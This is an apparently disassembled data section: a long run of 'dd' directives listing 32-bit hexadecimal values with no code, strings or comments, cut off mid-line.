343F8D4Ch dd 19EADD27h, 49F23725h, 583AF5F8h, 99D2965Ch, 520AC856h dd 0E81D654Fh, 59B51D2Ah, 0AF954B8Bh, 5B50A99h, 0B86B04C0h dd 8544B5DDh, 16D538B4h, 0B429CA2Ch, 0A7745038h, 70E96951h dd 68BC7366h, 0FAAD5684h, 9C79D1DCh, 4521012Ah, 1512E64Eh dd 0A2641450h, 0B9F8D0AAh, 6837B0A5h, 667491ADh, 39E3F4FBh dd 6F2D283Fh, 0EB623586h, 6F077097h, 63A02075h, 29216E61h dd 7F5250A5h, 64E9C017h, 0AD489620h, 3331B402h, 449538DEh dd 0B801D00Ah, 0B609C287h, 407E4033h, 343C07D2h, 0B8D75318h dd 1BD21D4h, 0B13F31F1h, 0A79A343h, 17001A1h, 0CB3CA504h dd 0A366D42h, 74C27887h, 4821C2Fh, 0AB48CA7Ch, 3CC80AA1h dd 0F53C427Eh, 0E50A2350h, 3C432C6Ah, 0A9C39B2h, 8BC50185h dd 544C3C2Bh, 0A1E7732Bh, 0D0F0230Ah, 46852DD1h, 24D00631h dd 3C3EF40Ah, 0E33E2111h, 71D6106Dh, 0A40AD06Ch, 9918012Eh dd 4EC70805h, 0A7203CADh, 96316E39h, 301A626Dh, 22B33D78h dd 50FF233Ch, 6C12E1C9h, 8174D924h, 0B0A5D52h, 22A8601h dd 528F2608h, 7809F21Ch, 0A1C80EAh, 50C60185h, 48D62909h dd 0A1EDAB4h, 0D6422CADh, 0E6211548h, 0E06AFAA3h, 2CF0D5D4h dd 9567FAA9h, 9652D23Dh, 20C5B0B3h, 1666C554h, 0F1309514h dd 9D663A87h, 2C11810Fh, 0A9A47072h, 96385869h, 781F232Ah dd 0A06F5370h, 92DD53D8h, 673B37Bh, 387C4263h, 27D753BCh dd 0FF795427h, 4A2E7D11h, 5643E234h, 325FC988h, 5678DB3Bh dd 656B27B6h, 0FC486871h, 6C4D31B7h, 35B8E154h, 85D56FCEh dd 27B5E8D6h, 8067962Ch, 962E5C12h, 962155A0h, 0C8488F7Eh dd 2E8BED96h, 4A500372h, 5DBD9B38h, 1499FBC8h, 35A53E52h dd 9AD25C2Ch, 383BE548h, 0A2424891h, 0B5386EAFh, 142E9203h dd 2C8A8795h, 6FC8A459h, 0DFCC992h, 0A5400E9Fh, 938DC734h dd 23B6437Ch, 2D627512h, 50D053A3h, 20D741AEh, 68557321h dd 90F31EDh, 66129E58h, 9F2246ADh, 1675A006h, 27E15297h dd 8312666Fh, 2E524B44h, 3E2AFDA8h, 0AB509043h, 1AADF443h dd 8EAEB5A0h, 0D4632752h dd 27B4C8CCh, 8091F66Ch, 8DD64E7Bh, 0CDF01F57h, 0FB35A263h dd 3BF4F00Ah, 40432950h, 0AFDD6527h, 0FF2B7851h, 5A445969h dd 6148A837h, 0D4DF5652h, 47F3B08Dh, 69F4AEC6h, 74B53D58h dd 9976D8B1h, 7CF04A98h, 0BD724885h, 5650A19Dh, 15DA9DADh dd 80156B58h, 7AB450A1h, 0D996E82Fh, 47EF0E00h, 2F0B41A2h dd 0F84B5AA3h, 5842AB30h, 96AF6CBDh, 0E72F67DDh, 502BE438h dd 55BEF95Bh, 0AF653A41h, 0EC4BA7B6h, 46355EAEh, 6927A2BDh dd 212528C6h, 7F65123Dh, 2AF8D469h, 20F037C3h, 479FD809h dd 0B0808CDCh, 9CAA421h, 74D91894h, 5C247012h, 478E387Ch dd 0B808C82Ch, 8F47EC44h, 0C821D88Ch, 18AC09CAh, 221468D9h dd 18965490h, 89280244h, 0FC098A1Ch, 0C8D0188Eh, 5630A48Eh dd 7CC818B0h, 4C7C64E4h, 0C434478Eh, 0EE178DF8h, 188AF327h dd 9C1CB0D1h, 0C850918Fh, 8CE0F830h, 8FB0788Ch, 60C87411h dd 181C28F9h, 8BC8888Fh, 0F18898C7h, 8F381C58h, 0E8C40891h dd 46AC788Ah, 0E498238Ah, 3E2C7250h, 1E89D823h, 58C423A8h dd 203E2C72h, 0E46488ECh, 1850C409h, 30A018E7h, 0C8186456h dd 87F4E218h, 87C0233Ch, 18F7B411h, 407C74E4h, 0DC34478Eh dd 86F48823h, 8C86B8F0h, 68C8A447h, 247C54E4h, 5628448Ah dd 0E8C41808h, 9E00C85h, 181C8ABCh, 8F79A047h, 3CC86091h dd 201C24F9h, 1004918Fh, 0EC3A84F4h, 21B88C47h, 9C09CAB4h dd 1260D918h, 4C2C2454h, 8A08091Ch, 83E41802h, 4409D806h dd 0AC89B4C4h, 0E6183914h, 231F7839h, 43409148h, 0C1AAE401h dd 9E3D338Dh, 5254E11h, 0C8AA7757h, 3BF92011h, 63E08952h dd 0B00FBD48h, 0DBAB27FEh, 55E98C2Fh, 20CE33D8h, 296B6561h dd 35323832h, 6192531Dh, 39455DECh, 0E0A66BADh, 29547669h dd 39843134h, 630C776Eh, 2E1A6B64h, 52B86EDCh, 2E28F644h dd 0C8FA6F4Ch, 92531B20h, 0F20C77DBh, 22425C65h, 4E08A157h dd 35CA97DBh, 6D24075Ah, 4CDD6B87h, 0EDAC79DBh, 7033C9CFh dd 0DD3762C8h, 73610C28h, 0CFF96D58h, 326C80B6h, 346C91DFh dd 49C96964h, 1DC24698h, 0DBEAE3DDh, 2DE78F49h, 73DF44D7h dd 0FF4849A4h, 213B69D5h, 2C6E4990h, 6AFB7C5Fh, 7C0AA0A5h dd 9C52B85Bh, 0F7C3FAA5h, 9AE7484Bh, 0DCB38F7h, 6E322605h dd 3C72FE4Dh, 88321342h, 58A18C18h, 50D24946h, 0AB205675h dd 6B9E3E12h, 0F0385CA9h, 18D66843h, 0C4FE52ABh, 4E8EF004h dd 626A757Ch, 54D92012h, 6C95832Bh, 0D664683Ch, 4F5C542Ah dd 8E205852h, 0C7736D57h, 164041FBh, 0F7CCA1AFh, 18790483h dd 0C9757127h, 0BF2C52B9h, 9CC64128h, 85742003h, 0D221683Ch dd 4023443Dh, 53C1D7Ah, 25626954h, 0FA105FDFh, 21ECA570h dd 29347248h, 0E9FF5279h, 0A8753162h, 8DAB7B1Ah, 20208D97h dd 89986E1Fh, 0AB42D6FDh, 7B833C14h, 3BD6A8ECh, 0D9BC5A6Dh dd 0B969B79Eh, 41309EACh, 4E455603h, 0A9494853h, 3423444Ch dd 0E06612Fh, 2BED8772h, 29B01957h, 8980A733h, 2EE36C45h dd 0BA8EE9C7h, 8466C6D4h, 0ADED2073h, 0D54193A6h, 5C37372Ah dd 50B49FC8h, 0CE37CEADh, 4C48A170h, 480B965Dh, 8E8D5EA6h dd 0C3B94023h, 3916CEF9h, 41294946h, 55404881h, 41A32FA3h dd 0D3391123h, 14CEE940h, 0E26FD7A1h, 2F3AF441h, 0AF6BEB37h dd 7A057412h, 455E6995h, 367669CDh, 47E35846h, 53B34DCBh dd 294624CDh, 5E2DE945h, 58704646h, 6458796Bh, 649191EAh dd 0AA33A15h, 0A132B54Eh, 8D566810h, 0C83D213Eh, 40B07460h dd 50438397h, 9A73F375h, 0A584CE69h, 0FE6C2178h, 4D9A4A8Dh dd 2CEB2B26h, 0B66E30B6h, 3F86A6ADh, 7B4D6937h, 57500B5Fh dd 193A6885h, 0D368BC35h, 6C9564EAh, 36D24EE8h, 234C854Dh dd 0F07CA3E5h, 0DC827242h, 75182A10h, 804AE167h, 52500EBDh dd 0F9849168h, 557840A1h, 0D75A24A6h, 53976A66h, 944C246Ch dd 47AF5C73h, 0D750D136h, 473A2C3Ah, 6C53CAFEh, 2DA15D5Ch dd 4A1753A1h, 41EEC5B1h, 9FA66F26h, 3A37095Ah, 664A78C6h dd 1D09B7C7h, 0D2424808h, 60844114h, 266FB08Fh, 49105A28h dd 9C48416Fh, 7E702929h, 51685285h, 94503A52h, 6C422531h dd 2C228BD6h, 0FE685726h, 0AB606514h, 49D03246h, 880F42C9h dd 2D666499h, 56201B48h, 886EEA0Ch, 21574CF6h, 50155236h dd 34393182h, 0D92ED032h, 0A4749688h, 0EF2CB0EAh, 35896E16h dd 8C49E3EFh, 7DE4188Eh, 91510E52h, 3352AC80h, 5416616Fh dd 4210EDAFh, 70B529D0h, 1DB154C5h, 32744512h, 2AA3B445h dd 21DFD0C8h, 66461A4Fh, 0BA586663h, 577D9FDDh, 0E744B348h dd 701A777Bh, 391EC4EAh, 49394C84h, 32267F47h, 7693453Ah dd 3C53C6D3h, 9CD66B59h, 0ED4F21D1h, 59BF7D1Ah, 6E550BE9h dd 24AA727Ah, 4F3CC256h, 8E923152h, 8C309634h, 2C7F9E21h dd 5F82513h, 0B25C792Dh, 7119C443h, 5595A070h, 8732A454h dd 6A33644Ch, 0DD4B33C8h, 0EE9FB496h, 20506FCFh, 9637504h dd 86C8E449h, 0D029FB0Eh, 0A83577A4h, 84E616EFh, 0A58FA85Bh dd 9E6328B7h, 0E625664Fh, 0B4F4526Eh, 84CC73B0h, 7781BD13h dd 0F6F179FCh, 38C847D3h, 4528D456h, 0B805D55Fh, 9E4C8FA9h dd 66644E32h, 2E4D5C92h, 0AE6D3793h, 2E4DBEBEh, 0E5048541h dd 0DB723C92h, 8770A3D6h, 4B306433h, 49ABB177h, 724D5EB1h dd 3C293179h, 1C634BF7h, 6B76F870h, 0CF794365h, 7F572F4Ah dd 35384412h, 2AA7B947h, 485DCCD2h, 2D1D6622h, 4026694Ch dd 0AED656D9h, 0D11BD5D0h, 7547A1B1h, 4172EAE2h, 5F336828h dd 0F3739865h, 903C47F8h, 0B4399027h, 414711C8h, 0A1A6056Ch dd 4921A46Ch, 0AD8A6717h, 75E2B848h, 6E200D49h, 0A04146F3h dd 0BD70331Eh, 2D133453h, 0A6C49E64h, 0D2298D98h, 3F50FF30h dd 2F0DB9C0h, 0C41A2E09h, 7870505Fh, 6C82536h, 0D007088Ah dd 3A893C44h, 2DEE6595h, 15A494CDh, 956552A5h, 5CCBDF45h dd 0FCCCB42Eh, 340EB948h, 0A42FB9D2h, 0B4BA29AAh, 48349CE5h dd 2AE1942Dh, 82BE257Fh, 0BA8B47B1h, 0A7A49377h, 5BFFDE6Dh dd 8A4AAC12h, 776B1C41h, 12B6F91Bh, 93EE7ABFh, 0E73637BDh dd 0D4AD9876h, 97F5AF2h, 0DBFFA960h, 2C1021D5h, 34F6AD02h dd 0DEAD10E8h, 0CC114822h, 786B4521h, 8EF07856h, 5D59B730h dd 0A1B4F6ADh, 9591A150h, 27DC5343h, 58F326F0h, 484F5372h dd 4EC506ACh, 66AB096Fh, 0A87F8892h, 0C22D5265h, 73B91118h dd 2D311044h, 0B4964E57h, 7CCCED43h, 8E124597h, 18145732h dd 0EE8C41E8h, 2D4FE364h, 52A61442h, 45056D58h, 0BAB36F60h dd 4769493Fh, 9AF599ABh, 1151A8B0h, 62615484h, 5343008Dh dd 9D3FC768h, 0A230C87Bh, 0DD28C244h, 0E19DD3C4h, 92E26FF4h dd 0C9A875E7h, 415F8A3Eh, 31C87E20h, 0B5462364h, 95DDBFBEh dd 5A2AB33Eh, 0CC4ABAB9h, 6A9F74D8h, 6E831117h, 101D0331h dd 230DBCA6h, 8EB3220Ch, 29D78A18h, 85E4F10Ch, 33444F54h dd 0D0424144h, 0A4EC5B58h, 532A14D1h, 1E52BD86h, 6268EE98h dd 896A146Fh, 5D504234h, 8EC3B610h, 0DF2A820Ch, 0A4B83208h dd 6B497130h, 0B008FBA1h, 6FA2CA45h, 1ED7CB10h, 0F510823Ah dd 40AA2645h, 833C21D1h, 4C7A6F4Dh, 2F16B528h, 13081334h dd 69DCED06h, 95925E4Ch, 8F4C4829h, 4C1EDB9Ah, 71BD1486h dd 5B2868A6h, 557EF0ACh, 41526CF4h, 0D0F9D314h, 14431343h dd 9DE424D0h, 48241309h dd 6BCCFAF7h, 14237EDBh, 148734A0h, 47153C23h, 5D4CD43Fh dd 783D5063h, 714D1CADh, 0B46E1C2Fh, 0BBFF3437h, 0DFA8C825h dd 35C32DDCh, 886DC46Bh, 681B0C6Ah, 7962A134h, 281BE347h dd 28521040h, 2CE8101Eh, 0C2242C8h, 70FD19F3h, 9F616264h dd 10D73464h, 0DE709DF3h, 627AAC39h, 586C6962h, 765BAB9Ah dd 0C644ED4h, 0F873080Ah, 0C25E7492h, 0C7E87C26h, 43E9CC3Eh dd 0FB732208h, 746CB407h, 8AC91010h, 0CE8A45Fh, 19FD53B7h dd 698F3A62h, 5D6C0AD9h, 30070DE0h, 4148537Ch, 20BC51CFh dd 0CAA7062h, 27EBEDF5h, 7CE8A95Ch, 1D705F1Ch, 5D494446h dd 20684A73h, 90FCBF2Ch, 0AE637F01h, 0EA21DEC8h, 0C49EF53h dd 542CA37Ah, 0F1BD7360h, 0CCB26964h, 0CE4162F5h, 0EC108474h dd 4758B443h, 0D477AE69h, 295024B0h, 493D7424h, 85434227h dd 0EF8A7236h, 0F57F1445h, 938710Bh, 484576F8h, 8CA4B6ADh dd 0AF77D714h, 141DE229h, 2C3164DEh, 71316467h, 5EAC6647h dd 5F9282ADh, 8183654Ch, 752F6469h, 791AE175h, 0ABD2B729h dd 8CC82894h, 7E58D053h, 0C31B7327h, 0D010664Ch, 8474D715h dd 1536DC64h, 7ECC9F71h, 21A6118Eh, 75820E86h, 0F85D044h dd 430D10A1h, 82649C4Dh, 0D25D372h, 60D66AE8h, 6B646FF2h dd 0BCA1502Eh, 9C676A34h, 6F4C43BCh, 1D682651h, 0EAB91713h dd 32D7EB50h, 54352841h, 0ABB48825h, 466E6B69h, 3243A319h dd 12DF216Bh, 0D70F2BC9h, 6A305988h, 4D12A1EEh, 0B4435981h dd 34502283h, 5B0E4367h, 0BB76DCA4h, 0AD586A88h, 0F3B2A20Eh dd 0B8F95F19h, 0A11299Ah, 9DC23F54h, 8124AD41h, 19698E36h dd 113B541Ah, 69B40365h, 0CB733132h, 6C9984CAh, 4C8F0AA8h dd 7215DB62h, 0E474064h, 69684437h, 23853C14h, 6CBD5EB8h dd 0E0D48291h, 1EDC0B91h, 489BA946h, 4B682C8Dh, 0E18A9CDDh dd 0CE92507Bh, 22EC53A4h, 0A44E72BAh, 4B9C79BDh, 0B5FEB5DFh dd 348FFA38h, 7B458DD3h, 754E2BB3h, 0AFD9EA1Dh, 0D84FF7C2h dd 52565C2Fh, 1B812808h, 284EBF6Bh, 915392F8h, 0D04DF85Eh dd 0AFC5EA2h, 953B799Ah, 2BFC225Eh, 21D01043h, 1292BDD5h dd 0C287120Fh, 530270C1h, 0DD40CB6Eh, 138834BFh, 0A9F56694h dd 0D0356AF5h, 476C32C2h, 1C9E27CCh, 6E7ADF81h, 4CCE3CE7h dd 0C8B4363Fh, 0A0BE45B7h, 39414F34h, 0EE297BC8h, 2785F63Bh dd 1A70884Fh, 2D534F5Ch, 40331E5Ch, 725270F0h, 7949F21Ah dd 0F235C800h, 1A85EC58h, 34E34EE4h, 0B5E43491h, 89180B20h dd 0A12C6557h, 7557599Ch, 8F4E0BE8h, 0E9653447h, 6B02847Fh dd 438D5980h, 474BB2E9h, 0CE34A394h, 0AF5473C9h, 707F14EDh dd 52496DE3h, 65445C94h, 72FD4CBFh, 12DE2E7Ah, 66CAECE4h dd 0AB747509h, 0DC4B1CF3h, 93BB6480h, 0B1841D73h, 0EF2F2012h dd 0BF74BB9Dh, 0DC40014Bh, 11666758h, 0B43A0A0Dh, 4586488Eh dd 969BD12h, 31589D22h, 66691631h, 1DB24DEBh, 3D7C1042h dd 5A686F67h, 0CE73D127h, 2E17A0ACh, 42BA624Ah, 5C3A630Ch dd 70290470h, 60A10F6Fh, 0A0E45C5h, 47CF52h, 34544944h dd 4E256A3Eh, 5CA63A8Ah, 0A1452C78h, 3E293D1Ch, 80405A15h dd 4B79485Bh, 4C5F5903h, 0A741434Fh, 0DF4E4D67h, 0EB4E498Fh dd 0BBCA7C5Ch, 0ABA957Dh, 253D80E5h, 0CCBF3B5Ch, 544204D1h dd 850BD5FEh, 98A2F989h, 5D975D73h, 0EBFC2296h, 42B7F493h dd 259428BAh, 5C3D228Eh, 0AA9D3ED5h, 64DEC893h, 19D1417Bh dd 4428A999h, 642D8D90h, 3A2984FAh, 34150130h, 77C2AA99h dd 19526175h, 0BD955EFBh, 0A6658E0Bh, 0CF913D31h, 695E5FB7h dd 8E21DF8Fh, 5446F0DBh, 0F352F857h, 4F77382Fh, 808744B0h dd 616EC4EEh, 4F1392F2h, 4E364F4Dh, 78B925F5h, 0A299D624h dd 0CCD42E0Fh, 0DE0B90AEh, 61734C05h, 9C7BB73Fh, 0A1DFA033h dd 56946E3Dh, 0F1519779h, 312B435Fh, 0BA27559Bh, 0A1C4507Dh dd 9D6564E6h, 417424B1h, 4C769E4Eh, 62832775h, 26486F63h dd 0D4544346h, 0DA0A304Ch, 9481BD06h, 0B87DC064h, 6DBE8AA5h dd 61FC561Fh, 143A2F9Dh, 7057DF93h, 41855C2Ah, 31CB1375h dd 226B57EAh, 327AA763h, 85F68CF6h, 0E0177235h, 70D554D9h dd 35A294E3h, 0B2871ADh, 0F7997DA2h, 971DD0FAh, 4264EF83h dd 69B5C676h, 22274D5h, 505949FCh, 7515DF30h, 0E8344281h dd 9F6DE844h, 0DC8BD208h, 4C64939Eh, 241AC6B1h, 2497C492h dd 0E1DC2547h, 0FC194481h, 1A2E938Eh, 49872892h, 504D4309h dd 0C84ADC52h, 60A55FB9h, 0CD574758h, 9765740Ch, 90A5660Ch dd 44A2710Bh, 1D5CBC4Ah, 47963421h, 6C0AF985h, 0EF744279h dd 2993B35Eh, 0FCF37E89h, 747D7329h, 778F229Dh, 1ED0DE55h dd 2BF96D61h, 170A922Dh, 93C34976h, 7AEAE1B6h, 631E1094h dd 17D51AAFh, 43544075h, 33043150h, 704F3032h, 33C849CAh dd 0F84B7B7Ch, 0DAAAA270h, 0F76DE87Dh, 3232334Bh, 9E9F388Ch dd 0A8244293h, 340FCE34h, 4B78326Fh, 37A2D132h, 453722ADh dd 9008783Bh, 894EBED4h, 0D26B0A9Bh, 0A236160Ah, 65E9B77Eh dd 6B6DD52Fh, 4D93281Dh, 5F756A4Fh, 3BD4C53h, 0A7F91252h dd 34F14557h, 31353C90h, 5358B293h, 416E3C79h, 96296BA5h dd 3210D617h, 93157DF9h, 0DCF8C264h, 79294996h, 5040979Fh dd 2C55544Dh, 0A6184842h, 4692754Ah, 0E2C48357h, 0BA67518Ch dd 0A75695BEh, 78FE0B2Fh, 91408792h, 4A38A934h, 0AF297A6Bh dd 0BFD1E655h, 3C8DEDC6h, 38592528h, 7833A9C6h, 9579D249h dd 3BE8C3FCh, 0ADED777Bh, 25BAE83Bh, 3785A84Eh, 4DC5B1D2h dd 0FC697597h, 0E2275D21h, 0EB7DCF32h, 0A43E37FEh, 9F5FCB73h dd 52701249h, 2A00121Ah, 683F4F30h, 6E4D656Fh, 0FCC1444Ah dd 0F5C34B81h, 159DE44Fh, 25F9FD72h, 5DFF492Dh, 4A092D85h dd 3AB220C4h, 4B9563F9h, 61529A07h, 8758C67Bh, 6D5D7B73h dd 0BB38D00Ch, 6920934Fh, 1D4B42DAh, 4767F20Dh, 3021FA72h dd 2A74162Fh, 496D58CFh, 0E82AB9B0h, 48205786h, 0AE8BB4AFh dd 4ACACFE4h, 70F0D659h, 0E4B7FAA3h, 4D093E61h, 64757861h dd 48F8BC6Ah, 2B5725C1h, 14B31D5Eh, 9FD4032h, 1A3E19BBh dd 0EB04135h, 0A94F8B35h, 9F5A5E00h, 1AB86943h, 0BA437947h dd 0C86B8BF4h, 0F0B17C31h, 32D9EEA3h, 0B53AB5DEh, 99F48F6Ch dd 56DE3802h, 0DE8ADC14h, 85E34655h, 4E44D06Bh, 3A3D534Bh dd 0B6207E20h, 37288094h, 31333A29h, 36E2C68h, 0C0F0869h dd 0C8344376h, 39FC7B38h, 82CF12FEh, 95C7D2E9h, 547189E6h dd 0F2BE4C5Dh, 0CA01CF34h, 4F702556h, 64C7B99h, 0B6E5B49h dd 5D896620h, 499F2D09h, 0BDE6DCE9h, 92464856h, 0E05E8B93h dd 0D3647055h, 31998A5Eh, 206C9F4Ch, 6AB3824Eh, 0E26E44BFh dd 47C94E8Bh, 30A5710Bh, 4D7049B7h, 0C71EECDAh, 0D24E596Fh dd 2DDF6688h, 0ED0B5E62h, 4444E706h, 1D2D4094h, 0FBE7E92Dh dd 0E91B9DA5h, 5A597E92h, 851C462Dh, 0B664D273h, 0F41F1ED3h dd 85786252h, 9FDEF937h, 0D2489B31h, 9395B8D5h, 383B382Bh dd 5053F243h, 29A19E0Dh, 6CBC7EE9h, 50D28E27h, 986368EEh dd 4EF54494h, 0EA649110h, 761A625Ch, 0FA552453h, 43CA857Bh dd 3F953835h, 94514B38h, 344BAE38h, 42336DC8h, 0BCCF3269h dd 9DB095E9h, 0F406E433h, 0D6FF6A95h, 0A03C2F0Ah, 34623429h dd 9A62955Ch, 0DFBC5B63h, 6F352BAEh, 1DD3C452h, 0A5615764h dd 23097A0Bh, 32F31F65h dd 6D4C4EDFh, 0DE95A56Ch, 5A3948BFh, 0CF72DC0Fh, 2946CE2Ch dd 3D995B50h, 8B67DA64h, 996BF6E7h, 734C2518h, 5AB6C59Ah dd 35FA844Ah, 95AEA275h, 5A79AF3Ah, 3150B1A1h, 5966F639h dd 57F85C37h, 95DC5EB1h, 726DD5F4h, 6CBD2F26h, 5AB3B521h dd 905C31F2h, 0FAE187F6h, 1CF45F5Ch, 7B525543h, 25544E9Eh dd 5C9218F4h, 7FEAB1F8h, 4BB34E95h, 24F7A720h, 95D65B5Dh dd 739737C5h, 5F3157C0h, 19179D30h, 40E9359Dh, 523D8776h dd 5384F715h, 81BF4154h, 0D9572F78h, 0C3D6E649h, 0F7531CECh dd 0BC5F255Ah, 0E3124298h, 0A7104B30h, 0A1B992B4h, 0A96E6417h dd 5F4EF243h, 62084FCDh, 7276E979h, 7438F64Bh, 55644887h dd 4E62B7BFh, 97B9FF16h, 7FBFA89Fh, 0F5799750h, 0AF442E14h dd 0AA7B2F47h, 74D22183h, 804E2E79h, 0D5F2AAB4h, 0C8DD6724h dd 47F5524Ah, 427569B4h, 0C01FFDC5h, 183B5DA5h, 57BA0B4Ah dd 4240F916h, 0E92AA940h, 3D69B455h, 750A3C0Eh, 0FE7B7064h dd 52937495h, 7BC84015h, 945397DEh, 150D896Eh, 0F45CA750h dd 636B5023h, 5564EA9Bh, 0F697A464h, 98DCEBA0h, 0BC0A7066h dd 0C42E44E6h, 29447E5Ch, 56A72B50h, 0FECB3A27h, 5EE8C875h dd 55807468h, 0C82145E8h, 0AEEFBD5Eh, 0F44F498Bh, 488F7EAAh dd 0C94FDC4Bh, 0DBE85BF6h, 51B89BA4h, 0FF5B7A28h, 8266486h dd 96D4E68h, 6EEF85Bh, 4F464E49h, 43F6B65Dh, 0F555033h dd 3436F825h, 484D0D75h, 3E222E7Ah, 110062A1h, 0AA424B73h dd 6C910293h, 660C912Ch, 3D6BC928h, 1F8A8CFAh, 1B8C1D14h dd 32534F34h, 92BD29EEh, 26AB282Fh, 42284425h, 7C81E075h dd 5849A729h, 5089F23h, 481DB241h, 123DB25Dh, 0C3137551h dd 46B92A4Ah, 1DB1A1D2h, 63E52F29h, 732C0C19h, 55280C47h dd 970E8EE1h, 373D28F1h, 79E4024Dh, 9E52F850h, 25DFB94Eh dd 0BCEDF972h, 49DB6836h, 86E0FA9Dh, 218DB6Dh, 8071FA84h dd 8BE5058h, 4D204B20h, 38392045h, 11544E32h, 975B0735h dd 2C14A945h, 3CAC4295h, 0BF4958ACh, 3BCE645Bh, 0E9442D3h dd 0E412F4Eh, 48B87D4Ch, 2D2E5039h, 0D2196397h, 4914FF6Fh dd 209964E6h, 972BDF7Ah, 0BFD6C5FCh, 0D625E147h, 22F3AFA7h dd 0AB442E14h, 0FAE5AE48h, 0DAEBCD24h, 0E98442EDh, 83B2FD2Ah dd 464C5255h, 65ADB860h, 2F72FDF1h, 0A9EAB6CDh, 1F2AB244h dd 971EDC4h, 8488A118h, 532F2A8Eh, 34EED85Eh, 0E00B3D46h dd 0C45B4F2Dh, 0ADC9D4D6h, 0C95D3E0Bh, 29EC4BBCh, 552643Ch dd 40C3E84Bh, 5AE3A09h, 0E9A35D4Ah, 35310307h, 0AE34342Ch dd 0F033DA1Eh, 2E32E920h, 28259CB2h, 731BB85Eh, 54174C1Bh dd 3166B948h, 45AA17BBh, 8BFD4F0h, 9554AC9Dh, 8254A554h dd 143E5782h, 4241308Fh, 39616765h, 34F0C87Ah, 8A9C37Ch dd 24011264h, 0E23C509Ch, 0CD5BE264h, 22C7C840h, 910AB308h dd 0B7B8D363h, 4842B491h, 292223FDh, 1DD24572h, 6D7EE944h dd 7C1F6C6Dh, 0AC2953CAh, 7B2EC5F0h, 82EC4E2Ch, 7BB22AA9h dd 0B734BAD2h, 1DA580C9h, 3F7ACFFEh, 0AE551354h, 0B84379DAh dd 2E724DB9h, 1C5ED836h, 71434401h, 0DE4E4526h, 696A7D8Eh dd 8A014403h, 0B359B434h, 0A6456F2Eh, 35AEAE94h, 8FAC3E51h dd 0F4643262h, 380BB329h, 125F63E2h, 0E1EA3414h, 2AAD7826h dd 7A9506E3h, 93581FBDh, 7DCE188Dh, 0C885F04Ch, 693434F2h dd 98FCF766h, 41E87745h, 82B5ED4Ah, 95622B61h, 8B75E444h dd 0E63D41FAh, 1D254C93h, 0BCE98864h, 3A419756h, 3961D16Ch dd 6142F179h, 351D373h, 0EC429FA7h, 9590165Dh, 1D7AC871h dd 0DBE6A544h, 57DD4C97h, 0F84B9C3Ah, 39FFB477h, 0A2500B71h dd 65179944h, 3104F772h, 0FB424B66h, 0A640A598h, 0BEF6950Fh dd 5276D23Ch, 0BD544231h, 0A0215A2Bh, 7C92873Ah, 0DF908B28h dd 0DF91D7BAh, 4CA1926Bh, 5243395Eh, 0E1A4C94Ch, 35F22A64h dd 0AC29487Ah, 6F4633BFh, 0F17AA273h, 0BDF920BBh, 92F2688Bh dd 0A9483A56h, 0EC27B059h, 9BCEA47Bh, 88A0B61Eh, 6E7AF8A7h dd 8D1C84FDh, 5D18CA4Fh, 75F33A27h, 7C345E4Dh, 7088E6EBh dd 16CEC49Ch, 65FFC594h, 0A55CFE58h, 0FC644309h, 0FBE36981h dd 3D82D984h, 4E864124h, 4AC93E0h, 0EBB414ADh, 15F2B324h dd 441B2E5Ah, 76696109h, 2E6A91B1h, 0B6E5504Fh, 2C939D1Fh dd 6C0DCDBBh, 7CF4A578h, 5C3A2941h, 1A0B8CA8h, 1B405808h dd 0CE11C4A6h, 158D040Ch, 287894BFh, 9897804h, 7430C4Dh dd 11026839h, 15209980h, 8D62F92Eh, 9696818h, 0DBB9876Eh dd 816A1484h, 4373755Dh, 0AECF2354h, 0FE70121Fh, 1C6E9E34h dd 4E534D00h, 32335247h, 0A41D5695h, 0F6C1819h, 0EE9D3631h dd 91544844h, 0A620B340h, 4621CE22h, 0A2D5627h, 782BD834h dd 54AB69E4h, 8A53A72h, 953837C3h, 82E6B036h, 10F50104h dd 4C14332h, 5BC709A5h, 0A52A5259h, 0A4300F84h, 3AFD74AEh dd 4C4F1738h, 2BBB2C84h, 4828D26Ch, 0B03150F4h, 0D409C8E4h dd 0B822C491h, 4CDCB044h, 0A8286B65h, 9C11C81Ch, 8C099499h dd 78248412h, 68917048h, 58445C22h, 114C8950h, 0A33669BCh dd 3428E94Ah, 6072203Ch, 48302434h, 58209428h, 0C9118C8h dd 0FC360422h, 44095930h, 0DC89E4ECh, 0CC24D412h, 0BC91C448h dd 0B044B422h, 14A089A8h, 11986C0Ch, 8809C890h, 78228091h dd 89687044h, 2450125Ch, 91444848h, 443C2240h, 24892C34h dd 10241C12h, 0FC880448h, 22F4112Fh, 0D8E444F0h, 0C812D089h dd 0C046E828h, 0ACB87C11h, 11B067ECh, 1C29C8A8h, 9411663Ah dd 808C4409h, 6C127489h, 60486824h, 0A8B8748Ah, 54115819h dd 224C0991h, 303C4444h, 24122889h, 14481C24h, 0C221091h dd 22C20845h, 0F0042EF8h, 0D891E448h, 0C844D022h, 12B889C0h dd 48A824B0h, 22A091A4h, 9094449Ch, 84128C89h, 74487C24h dd 64226C91h, 89545C44h, 24481250h, 91384840h, 4424222Ch dd 0C89101Ch, 112E0812h, 222DF810h, 0E0E844F0h, 0CC12D889h dd 0BC48C424h, 0AC22B491h, 899CA444h, 248C1294h, 917C4884h dd 4464226Ch, 3C894C5Ch, 30243412h, 28912C48h, 18442022h dd 11088910h, 0E9B12CFCh, 20645C09h, 11CCEC40h, 89DC09E4h dd 24D012D8h, 91C048C8h, 32A822B4h, 0A05095D4h, 90489824h dd 7C228891h, 89687444h, 26541260h, 4444094Ch, 12308938h dd 48202428h, 220C9114h, 2BFC2004h, 89ECF444h, 24DC12E4h dd 91CC48D4h, 44B822C0h, 0A089A8B0h, 8C249412h, 78918448h dd 68447022h, 12588960h, 4844244Ch, 2234913Ch, 18204428h dd 8121089h, 0F810112Eh, 44F0222Ah, 0D489DCE8h, 0C024CC12h dd 0AC91B848h, 9844A022h, 12888990h, 48782480h, 22689170h dd 50584460h, 3C124889h, 2C483424h, 18222091h, 8B081044h dd 29F84484h, 0E491EC08h, 0D444DC22h, 12C489CCh, 48B424BCh dd 22A491ACh, 8C94449Ch, 78128089h, 64487024h, 54225C91h dd 89444C44h, 2434123Ch, 91204828h, 45102218h, 0F823C208h dd 8BF17428h, 0F9225FC4h, 45BEC817h, 22B00991h, 949C44A8h dd 84128C89h, 74487C24h, 64226C91h, 89505844h, 24401248h dd 0BF304838h, 188920C4h, 8241012h, 0F820225Ch, 0E4F04427h dd 0D412DC89h, 0C448CC24h, 0B422BC91h, 89A4AC44h, 2494129Ch dd 9180488Ch, 44702278h, 58896068h, 48245012h, 38914048h dd 24442C22h, 12108918h dd 26FC2304h, 0C48BE974h, 17F9225Fh, 9145BEC8h, 0A422B009h dd 